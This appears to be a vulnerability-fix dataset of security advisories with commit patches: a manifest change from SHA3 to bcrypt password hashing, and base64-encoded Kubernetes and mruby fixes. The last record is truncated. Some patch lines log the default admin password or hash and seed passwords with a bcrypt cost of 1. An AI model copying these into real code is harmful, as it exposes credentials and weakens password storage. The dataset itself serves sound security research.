+      ADMIN_ENTITY_MANIFEST.slug,
+      DEFAULT_ADMIN_CREDENTIALS.email,
+      bcrypt.hashSync(DEFAULT_ADMIN_CREDENTIALS.password, SALT_ROUNDS)
+    )
+
+    return { exists: !!admin }
+  }
+
+  /**
+   * Find user from credentials.
+   *
+   * @param entitySlug The slug of the entity where the user is going to be searched
+   * @param email The email of the user
+   * @param password The password of the user
+   *
+   * @returns The user found from the credentials, or null if the user is not found.
+   */
+  async findUserFromCredentials(
+    entitySlug: string,
+    email: string,
+    password: string
+  ): Promise<AuthenticableEntity> {
     const entityRepository: Repository<AuthenticableEntity> =
       this.entityService.getEntityRepository({
-        entitySlug: ADMIN_ENTITY_MANIFEST.slug
+        entitySlug
       }) as Repository<AuthenticableEntity>
 
-    return {
-      exists: await entityRepository.exists({
-        where: {
-          email: DEFAULT_ADMIN_CREDENTIALS.email,
-          password: SHA3(DEFAULT_ADMIN_CREDENTIALS.password).toString()
-        }
-      })
+    const user: AuthenticableEntity = await entityRepository.findOne({
+      where: {
+        email
+      }
+    })
+
+    if (!user || !bcrypt.compareSync(password, user.password)) {
+      return null
     }
+
+    return user
   }
 }
diff --git a/packages/core/manifest/src/constants.ts b/packages/core/manifest/src/constants.ts
index d20d85ea8..6fa74e7f6 100644
--- a/packages/core/manifest/src/constants.ts
+++ b/packages/core/manifest/src/constants.ts
@@ -17,6 +17,9 @@ export const ENDPOINTS_PATH: string = 'endpoints'
 export const DEFAULT_PORT: number = 1111
 export const DEFAULT_RESULTS_PER_PAGE: number = 20
 
+// Security.
+export const SALT_ROUNDS: number = 10
+
 // Seeder.
 export const DEFAULT_SEED_COUNT: number = 50
 export const DEFAULT_MAX_MANY_TO_MANY_RELATIONS: number = 5
diff --git a/packages/core/manifest/src/crud/services/crud.service.ts b/packages/core/manifest/src/crud/services/crud.service.ts
index 7e605ed5e..9baf02903 100644
--- a/packages/core/manifest/src/crud/services/crud.service.ts
+++ b/packages/core/manifest/src/crud/services/crud.service.ts
@@ -1,4 +1,4 @@
-import { SHA3 } from 'crypto-js'
+import bcrypt from 'bcrypt'
 import {
   HttpException,
   HttpStatus,
@@ -28,7 +28,8 @@ import {
 import { RelationMetadata } from 'typeorm/metadata/RelationMetadata'
 import {
   DEFAULT_RESULTS_PER_PAGE,
-  QUERY_PARAMS_RESERVED_WORDS
+  QUERY_PARAMS_RESERVED_WORDS,
+  SALT_ROUNDS
 } from '../../constants'
 
 import { PaginationService } from './pagination.service'
@@ -241,7 +242,10 @@ export class CrudService {
       })
 
     if (entityManifest.authenticable && itemDto.password) {
-      newItem.password = SHA3(newItem.password).toString()
+      newItem.password = bcrypt.hashSync(
+        itemDto['password'] as string,
+        SALT_ROUNDS
+      )
     }
 
     const errors: ValidationError[] = this.validationService.validate(
@@ -334,7 +338,10 @@ export class CrudService {
 
     // Hash password if it exists.
     if (entityManifest.authenticable && itemDto.password) {
-      updatedItem.password = SHA3(updatedItem.password).toString()
+      updatedItem.password = bcrypt.hashSync(
+        itemDto['password'] as string,
+        SALT_ROUNDS
+      )
     } else if (entityManifest.authenticable && !itemDto.password) {
       delete updatedItem.password
     }
diff --git a/packages/core/manifest/src/seed/services/seeder.service.ts b/packages/core/manifest/src/seed/services/seeder.service.ts
index 56793d963..56abc3516 100644
--- a/packages/core/manifest/src/seed/services/seeder.service.ts
+++ b/packages/core/manifest/src/seed/services/seeder.service.ts
@@ -7,7 +7,7 @@ import {
   PropertyManifest,
   RelationshipManifest
 } from '@repo/types'
-import { SHA3 } from 'crypto-js'
+
 import { Injectable } from '@nestjs/common'
 import { DataSource, EntityMetadata, QueryRunner, Repository } from 'typeorm'
 import { EntityService } from '../../entity/services/entity.service'
@@ -16,6 +16,7 @@ import { RelationshipService } from '../../entity/services/relationship.service'
 import { faker } from '@faker-js/faker'
 import * as fs from 'fs'
 import * as path from 'path'
+import bcrypt from 'bcrypt'
 
 import {
   ADMIN_ENTITY_MANIFEST,
@@ -121,9 +122,15 @@ export class SeederService {
 
       // Prevent logging during tests.
       if (process.env.NODE_ENV !== 'test') {
-        console.log(
-          `✅ Seeding ${entityManifest.seedCount} ${entityManifest.seedCount > 1 ? entityManifest.namePlural : entityManifest.nameSingular}...`
-        )
+        if (entityManifest.single) {
+          console.log(
+            `✅ Seeding ${entityManifest.seedCount || 'single'} ${entityManifest.nameSingular}...`
+          )
+        } else {
+          console.log(
+            `✅ Seeding ${entityManifest.seedCount} ${entityManifest.seedCount > 1 ? entityManifest.namePlural : entityManifest.nameSingular}...`
+          )
+        }
       }
 
       for (const _index of Array(entityManifest.seedCount).keys()) {
@@ -240,7 +247,7 @@ export class SeederService {
       case PropType.Boolean:
         return faker.datatype.boolean()
       case PropType.Password:
-        return SHA3('manifest').toString()
+        return bcrypt.hashSync('manifest', 1)
       case PropType.Choice:
         return faker.helpers.arrayElement(
           propertyManifest.options.values as unknown[]
@@ -296,10 +303,18 @@ export class SeederService {
    * @param repository The repository for the Admin entity.
    */
   async seedAdmin(repository: Repository<BaseEntity>): Promise<void> {
+    if (process.env.NODE_ENV !== 'test') {
+      console.log(
+        `✅ Seeding default admin ${DEFAULT_ADMIN_CREDENTIALS.email} with password "${DEFAULT_ADMIN_CREDENTIALS.password} ...`
+      )
+    }
+
     const admin: AuthenticableEntity =
       repository.create() as AuthenticableEntity
     admin.email = DEFAULT_ADMIN_CREDENTIALS.email
-    admin.password = SHA3(DEFAULT_ADMIN_CREDENTIALS.password).toString()
+    admin.password = bcrypt.hashSync(DEFAULT_ADMIN_CREDENTIALS.password, 1)
+
+    console.log(admin.password)
 
     await repository.save(admin)
   }
diff --git a/packages/core/manifest/src/seed/tests/seeder.service.spec.ts b/packages/core/manifest/src/seed/tests/seeder.service.spec.ts
index 8608565f9..8bae774a2 100644
--- a/packages/core/manifest/src/seed/tests/seeder.service.spec.ts
+++ b/packages/core/manifest/src/seed/tests/seeder.service.spec.ts
@@ -1,6 +1,4 @@
-// TODO: Ensure that the storeFile and storeImage methods are only called once per property.
 import { Test, TestingModule } from '@nestjs/testing'
-import { SHA3 } from 'crypto-js'
 
 import { SeederService } from '../services/seeder.service'
 import { EntityService } from '../../entity/services/entity.service'
@@ -16,6 +14,11 @@ jest.mock('fs', () => ({
   readFileSync: jest.fn().mockResolvedValue('mock file content')
 }))
 
+jest.mock('bcrypt', () => ({
+  hashSync: jest.fn().mockResolvedValue('hashedPassword')
+}))
+
+// TODO: Ensure that the storeFile and storeImage methods are only called once per property.
 describe('SeederService', () => {
   let service: SeederService
   let storageService: StorageService
@@ -225,13 +228,13 @@ describe('SeederService', () => {
       expect(typeof result).toBe('boolean')
     })
     it('should seed the "manifest" password', async () => {
-      const result = await service.seedProperty(
+      const result = (await service.seedProperty(
         { type: PropType.Password } as any,
         {} as any
-      )
+      )) as string
 
       expect(typeof result).toBe('string')
-      expect(result).toBe(SHA3('manifest').toString())
+      expect(result).toBe('hashedPassword')
     })
     it('should seed a choice', async () => {
       const result = await service.seedProperty(
@@ -299,10 +302,11 @@ describe('SeederService', () => {
 
       await service.seedAdmin(dummyRepository)
 
-      expect(dummyRepository.save).toHaveBeenCalledWith({
-        email: DEFAULT_ADMIN_CREDENTIALS.email,
-        password: SHA3(DEFAULT_ADMIN_CREDENTIALS.password).toString()
-      })
+      expect(dummyRepository.save).toHaveBeenCalledWith(
+        expect.objectContaining({
+          email: DEFAULT_ADMIN_CREDENTIALS.email
+        })
+      )
     })
   })
 })

From c3f64512a606d46bbdf148033e6b10597d9aa952 Mon Sep 17 00:00:00 2001
From: Bruno <bruno@buddyweb.fr>
Date: Fri, 28 Feb 2025 10:39:07 +0100
Subject: [PATCH 3/4] fix(auth): isAdminExists returns always false

---
 .../core/manifest/src/auth/auth.service.ts    |  2 +-
 .../src/auth/tests/auth.service.spec.ts       | 57 +++++++++++++++++--
 .../src/seed/services/seeder.service.ts       |  2 -
 3 files changed, 52 insertions(+), 9 deletions(-)

diff --git a/packages/core/manifest/src/auth/auth.service.ts b/packages/core/manifest/src/auth/auth.service.ts
index 821858b5c..292944093 100644
--- a/packages/core/manifest/src/auth/auth.service.ts
+++ b/packages/core/manifest/src/auth/auth.service.ts
@@ -210,7 +210,7 @@ export class AuthService {
     const admin: AuthenticableEntity = await this.findUserFromCredentials(
       ADMIN_ENTITY_MANIFEST.slug,
       DEFAULT_ADMIN_CREDENTIALS.email,
-      bcrypt.hashSync(DEFAULT_ADMIN_CREDENTIALS.password, SALT_ROUNDS)
+      DEFAULT_ADMIN_CREDENTIALS.password
     )
 
     return { exists: !!admin }
diff --git a/packages/core/manifest/src/auth/tests/auth.service.spec.ts b/packages/core/manifest/src/auth/tests/auth.service.spec.ts
index 1c5456244..dc343e8c4 100644
--- a/packages/core/manifest/src/auth/tests/auth.service.spec.ts
+++ b/packages/core/manifest/src/auth/tests/auth.service.spec.ts
@@ -7,6 +7,11 @@ import { EntityService } from '../../entity/services/entity.service'
 import { ADMIN_ENTITY_MANIFEST } from '../../constants'
 import { EntityManifestService } from '../../manifest/services/entity-manifest.service'
 
+jest.mock('bcrypt', () => ({
+  compareSync: jest.fn().mockResolvedValue(true),
+  hashSync: jest.fn().mockResolvedValue('testHashedPassword')
+}))
+
 describe('AuthService', () => {
   let authService: AuthService
   let configService: ConfigService
@@ -55,6 +60,10 @@ describe('AuthService', () => {
 
   describe('createToken', () => {
     it('should return a valid JWT token if a user is found', async () => {
+      jest
+        .spyOn(authService, 'findUserFromCredentials')
+        .mockResolvedValue(mockUser)
+
       const result = await authService.createToken(
         ADMIN_ENTITY_MANIFEST.slug,
         mockUser
@@ -108,6 +117,10 @@ describe('AuthService', () => {
         findOne: jest.fn().mockReturnValue(Promise.resolve(mockUser))
       })
 
+      jest
+        .spyOn(authService, 'findUserFromCredentials')
+        .mockResolvedValue(mockUser)
+
       const result = await authService.signup('users', mockUser)
 
       expect(result).toHaveProperty('token')
@@ -116,6 +129,10 @@ describe('AuthService', () => {
 
   describe('getUserFromToken', () => {
     it('should return a user when the token decodes to a valid email', async () => {
+      jest
+        .spyOn(authService, 'findUserFromCredentials')
+        .mockResolvedValue(mockUser)
+
       entityService.getEntityRepository = jest.fn().mockReturnValue({
         findOne: jest.fn().mockReturnValue(Promise.resolve(mockUser))
       })
@@ -209,21 +226,49 @@ describe('AuthService', () => {
 
   describe('isDefaultAdminExists', () => {
     it('should return true if the default admin exists', async () => {
-      entityService.getEntityRepository = jest.fn().mockReturnValue({
-        exists: jest.fn().mockReturnValue(Promise.resolve(true))
-      })
+      jest
+        .spyOn(authService, 'findUserFromCredentials')
+        .mockResolvedValue(mockUser)
 
       const result = await authService.isDefaultAdminExists()
       expect(result.exists).toBe(true)
     })
 
     it('should return false if the default admin does not exist', async () => {
-      entityService.getEntityRepository = jest.fn().mockReturnValue({
-        exists: jest.fn().mockReturnValue(Promise.resolve(false))
-      })
+      jest.spyOn(authService, 'findUserFromCredentials').mockResolvedValue(null)
 
       const result = await authService.isDefaultAdminExists()
       expect(result.exists).toBe(false)
     })
   })
+
+  describe('findUserFromCredentials', () => {
+    it('should return a user if the credentials are correct', async () => {
+      entityService.getEntityRepository = jest.fn().mockReturnValue({
+        findOne: jest.fn().mockReturnValue(Promise.resolve(mockUser))
+      })
+
+      const result = await authService.findUserFromCredentials(
+        ADMIN_ENTITY_MANIFEST.slug,
+        mockUser.email,
+        mockUser.password
+      )
+
+      expect(result).toMatchObject(mockUser)
+    })
+
+    it('should return null if the credentials are incorrect', async () => {
+      entityService.getEntityRepository = jest.fn().mockReturnValue({
+        findOne: jest.fn().mockReturnValue(Promise.resolve(null))
+      })
+
+      const result = await authService.findUserFromCredentials(
+        ADMIN_ENTITY_MANIFEST.slug,
+        mockUser.email,
+        'incorrectPassword'
+      )
+
+      expect(result).toBe(null)
+    })
+  })
 })
diff --git a/packages/core/manifest/src/seed/services/seeder.service.ts b/packages/core/manifest/src/seed/services/seeder.service.ts
index 56abc3516..73eec6ed6 100644
--- a/packages/core/manifest/src/seed/services/seeder.service.ts
+++ b/packages/core/manifest/src/seed/services/seeder.service.ts
@@ -314,8 +314,6 @@ export class SeederService {
     admin.email = DEFAULT_ADMIN_CREDENTIALS.email
     admin.password = bcrypt.hashSync(DEFAULT_ADMIN_CREDENTIALS.password, 1)
 
-    console.log(admin.password)
-
     await repository.save(admin)
   }
 

From 002d110b8e683ed0af618e245398289d05ecdc7d Mon Sep 17 00:00:00 2001
From: Bruno <bruno@buddyweb.fr>
Date: Fri, 28 Feb 2025 10:41:55 +0100
Subject: [PATCH 4/4] docs(changeset): replaced SHA3 encryption by bcrypt with
 salt, thanks @prokofitch @BennySama94

---
 .changeset/famous-cougars-design.md | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 .changeset/famous-cougars-design.md

diff --git a/.changeset/famous-cougars-design.md b/.changeset/famous-cougars-design.md
new file mode 100644
index 000000000..25d5488b5
--- /dev/null
+++ b/.changeset/famous-cougars-design.md
@@ -0,0 +1,5 @@
+---
+'manifest': patch
+---
+
+replaced SHA3 encryption by bcrypt with salt, thanks @prokofitch @BennySama94", "url": "https://github.com/mnfst/manifest/commit/3ed6f1324e96ad469ad929d470dcd0cc386c6c69.patch" } ]
null
GHSA-4x4m-3c2p-qppc
Kubernetes Nodes can delete themselves by adding an OwnerReference
null
[ { "commit_message": "[PATCH] do not allow the node to update it's owner reference .../admission/noderestriction/admission.go | 5 +++ .../noderestriction/admission_test.go | 36 +++++++++++++++---- 2 files changed, 35 insertions(+), 6 deletions(-)", "patch_text_b64": "RnJvbSAyZTZlYWExZmJlZGQ3NzZlYTkzNTdiNGY0NzJjNjZkZWMwMTk1NWI1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBTZXJnZXkgS2FuemhlbGV2IDxTLkthbnpoZWxldkBsaXZlLmNvbT4KRGF0ZTogVGh1LCAyMiBNYXkgMjAyNSAxNzo1NDoxMCArMDAwMApTdWJqZWN0OiBbUEFUQ0hdIGRvIG5vdCBhbGxvdyB0aGUgbm9kZSB0byB1cGRhdGUgaXQncyBvd25lciByZWZlcmVuY2UKCi0tLQogLi4uL2FkbWlzc2lvbi9ub2RlcmVzdHJpY3Rpb24vYWRtaXNzaW9uLmdvICAgIHwgIDUgKysrCiAuLi4vbm9kZXJlc3RyaWN0aW9uL2FkbWlzc2lvbl90ZXN0LmdvICAgICAgICAgfCAzNiArKysrKysrKysrKysrKystLS0tCiAyIGZpbGVzIGNoYW5nZWQsIDM1IGluc2VydGlvbnMoKyksIDYgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvcGx1Z2luL3BrZy9hZG1pc3Npb24vbm9kZXJlc3RyaWN0aW9uL2FkbWlzc2lvbi5nbyBiL3BsdWdpbi9wa2cvYWRtaXNzaW9uL25vZGVyZXN0cmljdGlvbi9hZG1pc3Npb24uZ28KaW5kZXggMjVlNDMyMmU2NjA5Ny4uNzkwOGEzZDNjMjFiMyAxMDA2NDQKLS0tIGEvcGx1Z2luL3BrZy9hZG1pc3Npb24vbm9kZXJlc3RyaWN0aW9uL2FkbWlzc2lvbi5nbworKysgYi9wbHVnaW4vcGtnL2FkbWlzc2lvbi9ub2RlcmVzdHJpY3Rpb24vYWRtaXNzaW9uLmdvCkBAIC00ODksNiArNDg5LDExIEBAIGZ1bmMgKHAgKlBsdWdpbikgYWRtaXROb2RlKG5vZGVOYW1lIHN0cmluZywgYSBhZG1pc3Npb24uQXR0cmlidXRlcykgZXJyb3IgewogCQkJcmV0dXJuIGFkbWlzc2lvbi5OZXdGb3JiaWRkZW4oYSwgZm10LkVycm9yZigibm9kZSAlcSBpcyBub3QgYWxsb3dlZCB0byBtb2RpZnkgdGFpbnRzIiwgbm9kZU5hbWUpKQogCQl9CiAKKwkJLy8gRG9uJ3QgYWxsb3cgYSBub2RlIHRvIHVwZGF0ZSBpdHMgb3duIG93bmVyUmVmZXJlbmNlcy4KKwkJaWYgIWFwaWVxdWFsaXR5LlNlbWFudGljLkRlZXBFcXVhbChub2RlLk93bmVyUmVmZXJlbmNlcywgb2xkTm9kZS5Pd25lclJlZmVyZW5jZXMpIHsKKwkJCXJldHVybiBhZG1pc3Npb24uTmV3Rm9yYmlkZGVuKGEsIGZtdC5FcnJvcmYoIm5vZGUgJXEgaXMgbm90IGFsbG93ZWQgdG8gbW9kaWZ5IG93bmVyUmVmZXJlbmNlcyIsIG5vZGVOYW1lKSkKKwkJfQorCiAJCS8vIERvbid0IGFsbG93IGEgbm9kZSB0byB1cGRhdGUgbGFiZWxzIG91dHNpZGUgdGhlIGFsbG93ZWQgc2V0LgogCQkvLyBUaGlzIHdvdWxkIGFsbG93IGEgbm9kZSB0byBhZGQgb3IgbW9kaWZ5IGl0cyBsYWJlbHMgaW4gYSB3YXkgdGhhdCB3b3VsZCBsZXQgaXQgc3RlZXIgcHJpdmlsZWdlZCB3b3JrbG9hZHMgdG8gaXRzZWxmLgogCQltb2RpZmllZExhYmVscyA6PSBnZXRNb2RpZmllZExhYmVscyhub2RlLkxhYmVscywgb2xkTm9kZS5MYWJlbHMpCmRpZmYgLS1naXQgYS9wbHVnaW4vcGtnL2FkbWlzc2lvbi9ub2RlcmVzdHJpY3Rpb24vYWRtaXNzaW9uX3Rlc3QuZ28gYi9wbHVnaW4vcGtnL2FkbWlzc2lvbi9ub2RlcmVzdHJpY3Rpb24vYWRtaXNzaW9uX3Rlc3QuZ28KaW5kZXggM2I2ZTEwN2IyYWY5ZS4uZTNlMGZjNzYyNzYzYyAxMDA2NDQKLS0tIGEvcGx1Z2luL3BrZy9hZG1pc3Npb24vbm9kZXJlc3RyaWN0aW9uL2FkbWlzc2lvbl90ZXN0LmdvCisrKyBiL3BsdWdpbi9wa2cvYWRtaXNzaW9uL25vZGVyZXN0cmljdGlvbi9hZG1pc3Npb25fdGVzdC5nbwpAQCAtMjQ3LDEwICsyNDcsMTQgQEAgZnVuYyAoYSAqYWRtaXRUZXN0Q2FzZSkgcnVuKHQgKnRlc3RpbmcuVCkgewogCiBmdW5jIFRlc3Rfbm9kZVBsdWdpbl9BZG1pdCh0ICp0ZXN0aW5nLlQpIHsKIAl2YXIgKAotCQlteW5vZGUgPSAmdXNlci5EZWZhdWx0SW5mb3tOYW1lOiAic3lzdGVtOm5vZGU6bXlub2RlIiwgR3JvdXBzOiBbXXN0cmluZ3sic3lzdGVtOm5vZGVzIn19Ci0JCWJvYiAgICA9ICZ1c2VyLkRlZmF1bHRJbmZve05hbWU6ICJib2IifQorCQl0cnVlUmVmID0gdHJ1ZQorCQlteW5vZGUgID0gJnVzZXIuRGVmYXVsdEluZm97TmFtZTogInN5c3RlbTpub2RlOm15bm9kZSIsIEdyb3VwczogW11zdHJpbmd7InN5c3RlbTpub2RlcyJ9fQorCQlib2IgICAgID0gJnVzZXIuRGVmYXVsdEluZm97TmFtZTogImJvYiJ9CisKKwkJbXlub2RlT2JqTWV0YSAgICAgICAgICA9IG1ldGF2MS5PYmplY3RNZXRhe05hbWU6ICJteW5vZGUiLCBVSUQ6ICJteW5vZGUtdWlkIn0KKwkJbXlub2RlT2JqTWV0YU93bmVyUmVmQSA9IG1ldGF2MS5PYmplY3RNZXRhe05hbWU6ICJteW5vZGUiLCBVSUQ6ICJteW5vZGUtdWlkIiwgT3duZXJSZWZlcmVuY2VzOiBbXW1ldGF2MS5Pd25lclJlZmVyZW5jZXt7TmFtZTogImZvb2VyQSIsIENvbnRyb2xsZXI6ICZ0cnVlUmVmfX19CisJCW15bm9kZU9iak1ldGFPd25lclJlZkIgPSBtZXRhdjEuT2JqZWN0TWV0YXtOYW1lOiAibXlub2RlIiwgVUlEOiAibXlub2RlLXVpZCIsIE93bmVyUmVmZXJlbmNlczogW11tZXRhdjEuT3duZXJSZWZlcmVuY2V7e05hbWU6ICJmb29lckIiLCBDb250cm9sbGVyOiAmdHJ1ZVJlZn19fQogCi0JCW15bm9kZU9iak1ldGEgICAgPSBtZXRhdjEuT2JqZWN0TWV0YXtOYW1lOiAibXlub2RlIiwgVUlEOiAibXlub2RlLXVpZCJ9CiAJCW15bm9kZU9iaiAgICAgICAgPSAmYXBpLk5vZGV7T2JqZWN0TWV0YTogbXlub2RlT2JqTWV0YX0KIAkJbXlub2RlT2JqQ29uZmlnQSA9ICZhcGkuTm9kZXtPYmplY3RNZXRhOiBteW5vZGVPYmpNZXRhLCBTcGVjOiBhcGkuTm9kZVNwZWN7Q29uZmlnU291cmNlOiAmYXBpLk5vZGVDb25maWdTb3VyY2V7CiAJCQlDb25maWdNYXA6ICZhcGkuQ29uZmlnTWFwTm9kZUNvbmZpZ1NvdXJjZXsKQEAgLTI2Nyw5ICsyNzEsMTEgQEAgZnVuYyBUZXN0X25vZGVQbHVnaW5fQWRtaXQodCAqdGVzdGluZy5UKSB7CiAJCQkJS3ViZWxldENvbmZpZ0tleTogImt1YmVsZXQiLAogCQkJfX19fQogCi0JCW15bm9kZU9ialRhaW50QSA9ICZhcGkuTm9kZXtPYmplY3RNZXRhOiBteW5vZGVPYmpNZXRhLCBTcGVjOiBhcGkuTm9kZVNwZWN7VGFpbnRzOiBbXWFwaS5UYWludHt7S2V5OiAibXlrZXkiLCBWYWx1ZTogIkEifX19fQotCQlteW5vZGVPYmpUYWludEIgPSAmYXBpLk5vZGV7T2JqZWN0TWV0YTogbXlub2RlT2JqTWV0YSwgU3BlYzogYXBpLk5vZGVTcGVje1RhaW50czogW11hcGkuVGFpbnR7e0tleTogIm15a2V5IiwgVmFsdWU6ICJCIn19fX0KLQkJb3RoZXJub2RlT2JqICAgID0gJmFwaS5Ob2Rle09iamVjdE1ldGE6IG1ldGF2MS5PYmplY3RNZXRhe05hbWU6ICJvdGhlcm5vZGUifX0KKwkJbXlub2RlT2JqVGFpbnRBICAgID0gJmFwaS5Ob2Rle09iamVjdE1ldGE6IG15bm9kZU9iak1ldGEsIFNwZWM6IGFwaS5Ob2RlU3BlY3tUYWludHM6IFtdYXBpLlRhaW50e3tLZXk6ICJteWtleSIsIFZhbHVlOiAiQSJ9fX19CisJCW15bm9kZU9ialRhaW50QiAgICA9ICZhcGkuTm9kZXtPYmplY3RNZXRhOiBteW5vZGVPYmpNZXRhLCBTcGVjOiBhcGkuTm9kZVNwZWN7VGFpbnRzOiBbXWFwaS5UYWludHt7S2V5OiAibXlrZXkiLCBWYWx1ZTogIkIifX19fQorCQlteW5vZGVPYmpPd25lclJlZkEgPSAmYXBpLk5vZGV7T2JqZWN0TWV0YTogbXlub2RlT2JqTWV0YU93bmVyUmVmQX0KKwkJbXlub2RlT2JqT3duZXJSZWZCID0gJmFwaS5Ob2Rle09iamVjdE1ldGE6IG15bm9kZU9iak1ldGFPd25lclJlZkJ9CisJCW90aGVybm9kZU9iaiAgICAgICA9ICZhcGkuTm9kZXtPYmplY3RNZXRhOiBtZXRhdjEuT2JqZWN0TWV0YXtOYW1lOiAib3RoZXJub2RlIn19CiAKIAkJY29yZW15bWlycm9ycG9kLCB2MW15bWlycm9ycG9kICAgICAgICAgICA9IG1ha2VUZXN0UG9kKCJucyIsICJteW1pcnJvcnBvZCIsICJteW5vZGUiLCB0cnVlKQogCQljb3Jlb3RoZXJtaXJyb3Jwb2QsIHYxb3RoZXJtaXJyb3Jwb2QgICAgID0gbWFrZVRlc3RQb2QoIm5zIiwgIm90aGVybWlycm9ycG9kIiwgIm90aGVybm9kZSIsIHRydWUpCkBAIC0xMDUyLDYgKzEwNTgsMjQgQEAgZnVuYyBUZXN0X25vZGVQbHVnaW5fQWRtaXQodCAqdGVzdGluZy5UKSB7CiAJCQlhdHRyaWJ1dGVzOiBhZG1pc3Npb24uTmV3QXR0cmlidXRlc1JlY29yZChzZXRGb3JiaWRkZW5VcGRhdGVMYWJlbHMobXlub2RlT2JqLCAibmV3IiksIHNldEZvcmJpZGRlblVwZGF0ZUxhYmVscyhteW5vZGVPYmosICJvbGQiKSwgbm9kZUtpbmQsIG15bm9kZU9iai5OYW1lc3BhY2UsIG15bm9kZU9iai5OYW1lLCBub2RlUmVzb3VyY2UsICIiLCBhZG1pc3Npb24uVXBkYXRlLCAmbWV0YXYxLlVwZGF0ZU9wdGlvbnN7fSwgZmFsc2UsIG15bm9kZSksCiAJCQllcnI6ICAgICAgICBgaXMgbm90IGFsbG93ZWQgdG8gbW9kaWZ5IGxhYmVsczogZm9vLm5vZGUtcmVzdHJpY3Rpb24ua3ViZXJuZXRlcy5pby9mb28sIG5vZGUtcmVzdHJpY3Rpb24ua3ViZXJuZXRlcy5pby9mb28sIG90aGVyLms4cy5pby9mb28sIG90aGVyLmt1YmVybmV0ZXMuaW8vZm9vYCwKIAkJfSwKKwkJeworCQkJbmFtZTogICAgICAgImZvcmJpZCB1cGRhdGUgb2YgbXkgbm9kZTogYWRkIG93bmVyIHJlZmVyZW5jZSIsCisJCQlwb2RzR2V0dGVyOiBleGlzdGluZ1BvZHMsCisJCQlhdHRyaWJ1dGVzOiBhZG1pc3Npb24uTmV3QXR0cmlidXRlc1JlY29yZChteW5vZGVPYmpPd25lclJlZkEsIG15bm9kZU9iaiwgbm9kZUtpbmQsIG15bm9kZU9iai5OYW1lc3BhY2UsIG15bm9kZU9iai5OYW1lLCBub2RlUmVzb3VyY2UsICIiLCBhZG1pc3Npb24uVXBkYXRlLCAmbWV0YXYxLlVwZGF0ZU9wdGlvbnN7fSwgZmFsc2UsIG15bm9kZSksCisJCQllcnI6ICAgICAgICAibm9kZSBcIm15bm9kZVwiIGlzIG5vdCBhbGxvd2VkIHRvIG1vZGlmeSBvd25lclJlZmVyZW5jZXMiLAorCQl9LAorCQl7CisJCQluYW1lOiAgICAgICAiZm9yYmlkIHVwZGF0ZSBvZiBteSBub2RlOiByZW1vdmUgb3duZXIgcmVmZXJlbmNlIiwKKwkJCXBvZHNHZXR0ZXI6IGV4aXN0aW5nUG9kcywKKwkJCWF0dHJpYnV0ZXM6IGFkbWlzc2lvbi5OZXdBdHRyaWJ1dGVzUmVjb3JkKG15bm9kZU9iaiwgbXlub2RlT2JqT3duZXJSZWZBLCBub2RlS2luZCwgbXlub2RlT2JqLk5hbWVzcGFjZSwgbXlub2RlT2JqLk5hbWUsIG5vZGVSZXNvdXJjZSwgIiIsIGFkbWlzc2lvbi5VcGRhdGUsICZtZXRhdjEuVXBkYXRlT3B0aW9uc3t9LCBmYWxzZSwgbXlub2RlKSwKKwkJCWVycjogICAgICAgICJub2RlIFwibXlub2RlXCIgaXMgbm90IGFsbG93ZWQgdG8gbW9kaWZ5IG93bmVyUmVmZXJlbmNlcyIsCisJCX0sCisJCXsKKwkJCW5hbWU6ICAgICAgICJmb3JiaWQgdXBkYXRlIG9mIG15IG5vZGU6IGNoYW5nZSBvd25lciByZWZlcmVuY2UiLAorCQkJcG9kc0dldHRlcjogZXhpc3RpbmdQb2RzLAorCQkJYXR0cmlidXRlczogYWRtaXNzaW9uLk5ld0F0dHJpYnV0ZXNSZWNvcmQobXlub2RlT2JqT3duZXJSZWZBLCBteW5vZGVPYmpPd25lclJlZkIsIG5vZGVLaW5kLCBteW5vZGVPYmouTmFtZXNwYWNlLCBteW5vZGVPYmouTmFtZSwgbm9kZVJlc291cmNlLCAiIiwgYWRtaXNzaW9uLlVwZGF0ZSwgJm1ldGF2MS5VcGRhdGVPcHRpb25ze30sIGZhbHNlLCBteW5vZGUpLAorCQkJZXJyOiAgICAgICAgIm5vZGUgXCJteW5vZGVcIiBpcyBub3QgYWxsb3dlZCB0byBtb2RpZnkgb3duZXJSZWZlcmVuY2VzIiwKKwkJfSwKIAogCQkvLyBPdGhlciBub2RlIG9iamVjdAogCQl7", "url": "https://github.com/kubernetes/kubernetes/commit/a2d98cac56a0c5cb2d8abc4d087fc00846b3bc0f.patch" } ]
null
GHSA-6cpj-3r2r-v2m4
null
[ { "commit_message": "[PATCH] codegen.c: stack position may be wrong on assignments. When `[]=` access includes keyword arguments. mrbgems/mruby-compiler/core/codegen.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSAwODQ5YTI4ODVmODFjZmQ4MjEzNDk5MmMwNmRmM2NjZDU5MDUyYWM3IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiAiWXVraWhpcm8gXCJNYXR6XCIgTWF0c3Vtb3RvIiA8bWF0ekBydWJ5Lm9yLmpwPgpEYXRlOiBUdWUsIDggRmViIDIwMjIgMTI6NDY6MzYgKzA5MDAKU3ViamVjdDogW1BBVENIXSBjb2RlZ2VuLmM6IHN0YWNrIHBvc2l0aW9uIG1heSBiZSB3cm9uZyBvbiBhc3NpZ25tZW50cy4KCldoZW4gYFtdPWAgYWNjZXNzIGluY2x1ZGVzIGtleXdvcmQgYXJndW1lbnRzLgotLS0KIG1yYmdlbXMvbXJ1YnktY29tcGlsZXIvY29yZS9jb2RlZ2VuLmMgfCAxMCArKysrKysrKy0tCiAxIGZpbGUgY2hhbmdlZCwgOCBpbnNlcnRpb25zKCspLCAyIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL21yYmdlbXMvbXJ1YnktY29tcGlsZXIvY29yZS9jb2RlZ2VuLmMgYi9tcmJnZW1zL21ydWJ5LWNvbXBpbGVyL2NvcmUvY29kZWdlbi5jCmluZGV4IDRhOWZiOWFlYjAuLjg2Zjg4YjZlNjQgMTAwNjQ0Ci0tLSBhL21yYmdlbXMvbXJ1YnktY29tcGlsZXIvY29yZS9jb2RlZ2VuLmMKKysrIGIvbXJiZ2Vtcy9tcnVieS1jb21waWxlci9jb3JlL2NvZGVnZW4uYwpAQCAtMTg2NSwxNSArMTg2NSwyMSBAQCBnZW5fYXNzaWdubWVudChjb2RlZ2VuX3Njb3BlICpzLCBub2RlICp0cmVlLCBub2R